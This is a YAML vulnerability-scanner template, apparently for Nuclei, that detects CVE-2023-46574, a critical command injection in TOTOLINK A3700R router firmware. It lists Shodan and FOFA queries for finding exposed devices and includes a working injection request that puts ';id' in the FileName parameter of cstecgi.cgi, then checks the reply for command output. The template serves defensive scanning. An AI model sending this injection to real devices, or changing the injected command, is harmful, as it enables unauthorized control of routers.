CVE-2023-46574: TOTOLINK A3700R - Command Injection

id: CVE-2023-46574

info:
  name: TOTOLINK A3700R - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    An issue in TOTOLINK A3700R v.9.1.2u.6165_20211012 allows a remote attacker to execute arbitrary code via the FileName parameter of the UploadFirmwareFile function.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46574
    - https://github.com/OraclePi/repo/blob/main/totolink%20A3700R/1/A3700R%20%20V9.1.2u.6165_20211012%20vuln.md
    - https://github.com/Marco-zcl/POC
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/wy876/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46574
    cwe-id: CWE-77
    epss-score: 0.94049
    epss-percentile: 0.99896
    cpe: cpe:2.3:o:totolink:a3700r_firmware:9.1.2u.6165_20211012:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: totolink
    product: a3700r_firmware
    shodan-query:
      - title:"Totolink"
      - http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve,cve2023,totolink,router,iot,rce,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<title>TOTOLINK</title>")'
        condition: and

  - raw:
      - |
        GET /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}

        {"topicurl":"UploadFirmwareFile","FileName":";id"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
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